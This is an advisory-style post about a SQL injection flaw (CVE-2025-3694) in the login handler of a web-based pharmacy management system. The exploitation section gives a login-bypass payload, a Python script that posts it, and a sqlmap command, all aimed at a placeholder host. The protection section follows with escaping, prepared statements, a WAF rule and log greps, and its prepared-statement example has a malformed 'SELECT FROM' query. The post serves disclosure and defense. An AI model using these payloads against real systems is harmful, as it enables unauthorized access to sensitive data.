SourceCodester Web-based Pharmacy Product Management System 10, SQL Injection, CVE-2025-3694 (Critical)

Listen to this Post

How the CVE Works:

CVE-2025-3694 is a critical SQL injection vulnerability in the Login Handler component of SourceCodester Web-based Pharmacy Product Management System 1.0. The flaw arises due to improper sanitization of the `login_email` parameter during authentication. Attackers can inject malicious SQL queries via this input field, bypassing login mechanisms and potentially gaining unauthorized database access. The vulnerability is remotely exploitable, enabling attackers to extract sensitive data, manipulate database entries, or execute arbitrary commands. The public disclosure of this exploit increases the risk of widespread attacks.

DailyCVE Form:

Platform: SourceCodester Pharmacy Management
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025

What Undercode Say:

Exploitation:

1. Payload Example:

' OR '1'='1' --

Injected into `login_email` to bypass authentication.

2. Automated Exploit (Python):

import requests
target = "http://target.com/login.php"
payload = {"login_email": "' OR 1=1 -- ", "login_pass": "any"}
response = requests.post(target, data=payload)
print(response.text)

3. SQLMap Command:

sqlmap -u "http://target.com/login.php" --data="login_email=test&login_pass=test" -p login_email --risk=3 --level=5

Protection:

1. Input Sanitization:

$email = mysqli_real_escape_string($conn, $_POST['login_email']);

2. Prepared Statements:

$stmt = $conn->prepare("SELECT FROM users WHERE email = ?");
$stmt->bind_param("s", $_POST['login_email']);

3. WAF Rules:

location /login.php {
modsecurity_rules 'SecRule ARGS:login_email "@detectSQLi" deny';
}

4. Patch Verification:

grep -r "mysql_query" /var/www/html/

5. Log Analysis:

tail -f /var/log/apache2/access.log | grep -i "union|select|--"

6. Mitigation Advisory:

  • Disable error reporting in production.
  • Update to the latest patched version.
  • Restrict database user privileges.

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top